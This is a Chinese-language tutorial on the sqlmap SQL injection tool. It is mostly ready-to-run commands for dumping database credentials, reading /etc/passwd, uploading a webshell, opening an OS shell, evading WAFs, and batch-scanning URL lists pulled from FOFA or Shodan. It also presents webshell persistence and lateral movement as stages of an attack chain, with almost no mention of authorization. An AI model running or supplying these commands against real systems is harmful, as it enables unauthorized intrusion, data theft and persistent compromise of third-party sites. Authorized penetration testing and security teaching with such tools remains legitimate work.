> 技术文档 > 超详细 sqlmap 使用教程(从入门到进阶)_sqlmap使用教程

超详细 sqlmap 使用教程(从入门到进阶)_sqlmap使用教程


超详细 sqlmap 使用教程(从入门到进阶)

作者:Factor

  • 超详细 sqlmap 使用教程(从入门到进阶)
    • 一、安装 sqlmap
      • 方式一:源码安装(推荐)
      • 方式二:APT 安装(适用于 Kali、Debian)
    • 二、基本命令语法
    • 三、典型实战用法大全(按功能分类)
      • 1、基础测试注入点
        • 1、自动探测 GET 参数是否存在注入
        • 2、测试 POST 请求参数
        • 3、带 Cookie 测试(如登录后才可注入)
        • 4、指定注入参数(默认会测试所有)
        • 5、静态请求文件(如 Burp 抓包导出的 .txt)
      • 2、数据库识别与信息收集
        • 1、获取数据库类型和版本
        • 2、获取当前数据库名
        • 3、获取当前用户、权限
        • 4、获取所有数据库名
        • 5、枚举数据库的表名
        • 6、枚举表内字段名
        • 7、导出数据
      • 3、绕过过滤和防护机制
        • 1、伪造 User-Agent / Referer
        • 2、自定义 HTTP 请求头
        • 3、使用随机 UA 绕过 WAF
        • 4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
      • 4、特殊注入场景支持
        • 1、支持时间盲注(time-based blind)
        • 2、支持报错注入(error-based)
        • 3、使用堆叠查询
      • 5、文件系统操作(高危)
        • 1、读取远程服务器文件(如配置文件)
        • 2、上传写入 webshell(需要写权限)
      • 6、系统命令执行(高权限下)
        • 1、执行系统命令(如 whoami、ipconfig)
        • 2、启动交互式命令行(非常强大)
      • 7、登录口爆破测试(少见用法)
      • 8、会话保存 / 自动继续扫描
        • 1、保存扫描进度
        • 2、继续之前未完成的任务
      • 9、指定数据库引擎、注入技术
    • 四、辅助技巧与实用建议
    • 五、实战案例总结
    • 六、总结建议
    • 1. 自动化批量测试多个目标
      • 方法一:使用 `--batch` + `--crawl` + Bash 脚本
      • 方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
    • 2. 常用组合参数模板(实战推荐)
    • 3. 常见 Tamper 绕过脚本说明
    • 4. 对抗防火墙与 WAF 策略
      • 1、检测是否有 WAF
    • 5. SQL 注入技术选型建议
    • 6. sqlmap session 保存与重用
    • 7. 利用 sqlmap API 进行自动化任务管理
      • 1、启动 API 服务端(默认端口 8775)
      • 2、与之交互(Python 代码 / Postman / curl 调用)
    • 8. 输出数据格式控制
    • 9. sqlmap 配合渗透测试场景
    • 10. 学习路径建议(由浅入深)
    • 附:推荐资源
    • ✅ 总结一句话:

在这里插入图片描述

sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。


一、安装 sqlmap

方式一:源码安装(推荐)

git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像cd sqlmappython3 sqlmap.py -h

方式二:APT 安装(适用于 Kali、Debian)

sudo apt updatesudo apt install sqlmapsqlmap -h

二、基本命令语法

sqlmap -u \"http://target.com/vuln.php?id=1\" [options]
  • -u:目标 URL,支持 GET 和 POST 参数
  • --data:提交 POST 参数
  • --cookie:提交 Cookie 头
  • -p:指定注入点参数
  • --batch:自动确认(用于脚本执行时非交互)
  • --random-agent:伪造浏览器 UA

三、典型实战用法大全(按功能分类)


1、基础测试注入点

1、自动探测 GET 参数是否存在注入
sqlmap -u \"http://site.com/page.php?id=1\"
2、测试 POST 请求参数
sqlmap -u \"http://site.com/login.php\" --data=\"username=admin&password=123\"
3、带 Cookie 测试(如登录后才可注入)
sqlmap -u \"http://site.com/protected?id=5\" --cookie=\"PHPSESSID=xxxxxx\"
4、指定注入参数(默认会测试所有)
sqlmap -u \"http://site.com/page.php?id=1&sort=desc\" -p id
5、静态请求文件(如 Burp 抓包导出的 .txt)
sqlmap -r request.txt

2、数据库识别与信息收集

1、获取数据库类型和版本
sqlmap -u \"http://target.com/?id=1\" --banner
2、获取当前数据库名
sqlmap -u \"http://target.com/?id=1\" --current-db
3、获取当前用户、权限
sqlmap -u \"http://target.com/?id=1\" --current-user --is-dba
4、获取所有数据库名
sqlmap -u \"http://target.com/?id=1\" --dbs
5、枚举数据库的表名
sqlmap -u \"http://target.com/?id=1\" -D testdb --tables
6、枚举表内字段名
sqlmap -u \"http://target.com/?id=1\" -D testdb -T users --columns
7、导出数据
sqlmap -u \"http://target.com/?id=1\" -D testdb -T users -C username,password --dump

3、绕过过滤和防护机制

1、伪造 User-Agent / Referer
sqlmap -u \"http://target.com/?id=1\" --user-agent=\"Mozilla/5.0\" --referer=\"https://google.com\"
2、自定义 HTTP 请求头
sqlmap -u \"http://target.com\" --headers=\"X-API-KEY: 12345\\nClient-Version: 1.0\"
3、使用随机 UA 绕过 WAF
sqlmap -u \"http://target.com/?id=1\" --random-agent
4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment

推荐组合使用多个:

--tamper=space2comment,charunicodeescape,between

4、特殊注入场景支持

1、支持时间盲注(time-based blind)
sqlmap -u \"http://target.com/page.php?id=1\" --technique=T
2、支持报错注入(error-based)
sqlmap -u \"http://target.com/page.php?id=1\" --technique=E
3、使用堆叠查询
sqlmap -u \"http://target.com/page.php?id=1\" --stacked-query

5、文件系统操作(高危)

1、读取远程服务器文件(如配置文件)
sqlmap -u \"http://target.com/page.php?id=1\" --file-read=\"/etc/passwd\"
2、上传写入 webshell(需要写权限)
sqlmap -u \"http://target.com/page.php?id=1\" --file-write=./shell.jsp --file-dest=\"/var/www/html/shell.jsp\"

6、系统命令执行(高权限下)

1、执行系统命令(如 whoami、ipconfig)
sqlmap -u \"http://target.com/page.php?id=1\" --os-cmd=\"whoami\"
2、启动交互式命令行(非常强大)
sqlmap -u \"http://target.com/page.php?id=1\" --os-shell

注意:必须具备数据库用户执行系统命令的权限(如 xp_cmdshell, load_file, into outfile 等)


7、登录口爆破测试(少见用法)

如果某参数中存在注入点,sqlmap 可尝试暴力登录:

sqlmap -u \"http://target.com/login.php\" --data=\"user=admin&pass=123\" -p user --passwords

8、会话保存 / 自动继续扫描

1、保存扫描进度
sqlmap -u \"http://target.com\" --batch --flush-session
2、继续之前未完成的任务
sqlmap -u \"http://target.com\" --resume

9、指定数据库引擎、注入技术

--dbms=mysql  # 强制使用 MySQL--technique=BEUSTQ # 指定注入技术

技术说明:

  • B:布尔盲注
  • E:报错注入
  • U:联合查询
  • S:堆叠语句
  • T:时间盲注
  • Q:inline 查询

四、辅助技巧与实用建议

场景 推荐参数 多参数存在注入 使用 --level=5 --risk=3 避免频繁交互 加 --batch WAF 检测或屏蔽 --random-agent --tamper 响应慢 / 网站卡顿 加 --timeout=10 --retries=3 --delay=1 避免爆炸性数据 加 --fresh-queries --exclude-sysdbs

五、实战案例总结

例 1:自动识别 + 导出所有数据

sqlmap -u \"http://example.com/vuln?id=1\" --batch --dump-all

例 2:POST 登录接口注入测试

sqlmap -u \"http://site.com/login\" --data=\"user=admin&pass=123\" --batch

例 3:使用 Burp 抓包测试

sqlmap -r burp_request.txt --batch

例 4:读取数据库用户信息并执行 whoami

sqlmap -u \"http://target.com/?id=5\" --current-user --os-cmd=\"whoami\"

六、总结建议

建议 理由 使用 --batch 做自动测试 减少交互操作,提高效率 指定 -p 参数 避免浪费时间在无关参数 学会使用 -r 静态请求文件 更适合测试复杂 POST、Cookie 请求 配合 Burp + sqlmap 使用 手动确认参数后自动化测试更高效 测试环境先用 --risk=1 --level=1 线上目标避免影响服务 禁用系统功能或告警 如 --os-shell 等需谨慎使用

🚀 七、sqlmap 高级技巧 & 实战应用拓展


1. 自动化批量测试多个目标

如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:

方法一:使用 --batch + --crawl + Bash 脚本

cat urls.txt | while read url; do sqlmap -u \"$url\" --batch --crawl=2 --threads=5done

方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)

结合搜索引擎导出资产后:

for u in $(cat fofa_urls.txt); do sqlmap -u \"$u?search=1\" --random-agent --batch --level=3 --risk=2done

2. 常用组合参数模板(实战推荐)

场景 推荐组合参数 公开测试平台 / 漏扫 --random-agent --batch --threads=5 内网实战探测(不打扰目标) --level=1 --risk=1 --technique=B --time-sec=5 --delay=1 目标用 POST 登录 --data=\"user=admin&pass=123\" Cookie 有效期短 --cookie=\"JSESSIONID=xxxxxx\" 遇到 CDN 防护 --tamper=between,space2comment 目标只允许 HEAD 请求 --method=HEAD 深入盲注场景 --technique=T --time-sec=10

3. 常见 Tamper 绕过脚本说明

sqlmap 支持用 --tamper 参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):

脚本名 功能说明 space2comment.py 将空格替换为 /**/ 注释 between.py 使用 BETWEEN 替代等号 charunicodeescape.py 字符转为 unicode 编码 equaltolike.py= 替换为 LIKE randomcase.py 字母大小写混淆 unionalltounion.pyUNION ALL SELECT 改成 UNION SELECT percentage.py 使用 % 编码关键字

组合使用示例

sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment,between,randomcase --random-agent --batch

4. 对抗防火墙与 WAF 策略

1、检测是否有 WAF

sqlmap -u \"http://target.com/?id=1\" --identify-waf

如果提示类似:

[!] WAF/IDS/IPS identified: Cloudflare

就说明目标使用了防御系统,应切换到:

  • 慢速测试:--delay=1 --timeout=10
  • 编码绕过:--tamper
  • 限制技术:--technique=B

5. SQL 注入技术选型建议

技术代码 类型 特点说明 B Boolean Blind 最隐蔽,但慢 T Time-based Blind 非回显场景常用 E Error-based 快速,依赖数据库错误信息 U Union Query 最快,依赖回显 S Stacked Queries 可写文件/执行命令 Q Inline Query 针对特定场景如 PostgreSQL
bash复制编辑--technique=BEUSTQ # 开启所有类型--technique=BEU # 只测回显类--technique=T # 强制盲注

6. sqlmap session 保存与重用

sqlmap 会默认保存扫描历史到 .sqlmap/output/host/,也支持:

  • --flush-session:清除上次扫描缓存
  • --resume:恢复未完成任务
  • --output-dir=custom/:自定义输出路径

7. 利用 sqlmap API 进行自动化任务管理

1、启动 API 服务端(默认端口 8775)

python3 sqlmapapi.py -s

2、与之交互(Python 代码 / Postman / curl 调用)

POST /task/newPOST /scan/startGET /scan/{id}/log

可搭配 Web UI 或自动化渗透框架集成,例如:

  • Awvs + sqlmap 联动
  • 命令行批量漏洞验证器中调 sqlmap API

8. 输出数据格式控制

参数 功能 --batch 省略交互 --forms 自动识别表单 --threads=10 多线程加速 --output-dir=xxx 指定输出目录 --crawl=2 自动爬取内部页面 2 层 --fresh-queries 不使用缓存 --parse-errors 尝试解析错误信息 --save 保存参数为 profile

9. sqlmap 配合渗透测试场景

渗透阶段 sqlmap 使用点 信息收集 自动识别数据库、DBA 用户、DB 类型 权限提升 利用堆叠查询执行文件写入、提权脚本 持久化控制 写入 Webshell,执行后门 lateral movement 获取数据库中的 VPN 账号、内网 IP、后台密码等

10. 学习路径建议(由浅入深)

  1. ✅ 掌握基本注入点扫描(--dbs --tables --dump
  2. ✅ 理解 6 大注入技术(BEUSTQ)
  3. ✅ 学会绕过 WAF(tamper 编写与选择)
  4. ✅ 学会构造 request.txt / Cookie / Header 注入
  5. ✅ 脚本化调用 sqlmap 自动打点
  6. ✅ 分析源码、写 tamper、定制注入 payload

附:推荐资源

类型 链接 官网 https://sqlmap.org GitHub https://gitcode.com/sqlmapproject/sqlmap API 文档 https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage Tamper 脚本文档 https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper sqlmap API 工具封装 sqlmapapi-client

✅ 总结一句话:

sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。